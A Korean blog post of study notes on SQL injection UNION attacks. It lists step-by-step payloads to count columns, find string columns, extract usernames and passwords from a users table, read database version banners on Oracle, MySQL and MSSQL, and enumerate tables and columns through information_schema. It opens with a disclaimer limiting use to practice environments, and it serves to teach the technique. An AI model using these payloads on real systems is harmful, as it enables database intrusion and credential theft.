본문 바로가기

보안/WEB

[WEB 보안] SQL Injection-UNION Attack_1

반응형

※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.

 

1. 목표 : 다른 데이터베이스 테이블에서 데이터 검색

2. 방법 :

1) 에러가 발생하지 않을 때까지 NULL을 증가하여 컬럼 갯수 확인

(1) '+UNION+SELECT+NULL--

(2) '+UNION+SELECT+NULL,NULL--

...

2) NULL 열에서 'a'가 들어가도 에러가 발생하지 않은 곳 찾기

(1) '+UNION+SELECT+'a',NULL,NULL--

(2) '+UNION+SELECT+NULL,'a',NULL--

(3) '+UNION+SELECT+NULL,NULL,'a'--

3) users 테이블 내 아이디, 패스워드 찾기

(1) '+UNION+SELECT+NULL,NULL--

(2) '+UNION+SELECT+username,password+FROM+user--

4) Oracle DB에서 DB버전 정보 확인

(1) '+UNION+SELECT+NULL,NULL+FROM+DUAL--

(2) '+UNION+SELECT+'abc','def'+FROM+DUAL--

(3) '+UNION+SELECT+banner,NULL+FROM+v$version--

5) Microsoft and MySQL DB버전 정보확인

(1) '+UNION+SELECT+NULL,NULL#

(2) '+UNION+SELECT+@@version,NULL#

※ 대부분 데이터베이스 유형(Oracle을 제외하고)에는 데이터베이스에 대한 정보를 제공하는 정보 스키마 뷰세트가 있다.

information.schema.tables를 쿼리하여 데이터베이스의 테이블을 나열 할 수 있다.

▶ SELECT_FROM information_schema.tables에서 출력 반환값

→ SELECT * FROM information_schema.tables

TABLE_CATALOG

TABLE_SCHEMA

TABLE_NAME

TABLE_TYPE

My Database

abo

Products

BASE TABLE

My Database

abo

Users

BASE TABLE

My Database

abo

Feedback

BASE TABLE

▶ information_schema.columns를 쿼리하여 개별 테이블의 열을 나열

→ SELECT * FROM information_schema.columns

TABLE_CATALOG

TABLE_SCHEMA

TABLE_NAME

COLUMN_NAME

DATA_TYPE

My Database

abo

Users

UserId

int

My Database

abo

Users

Username

varchar

My Database

abo

Users

Password

varchar

반응형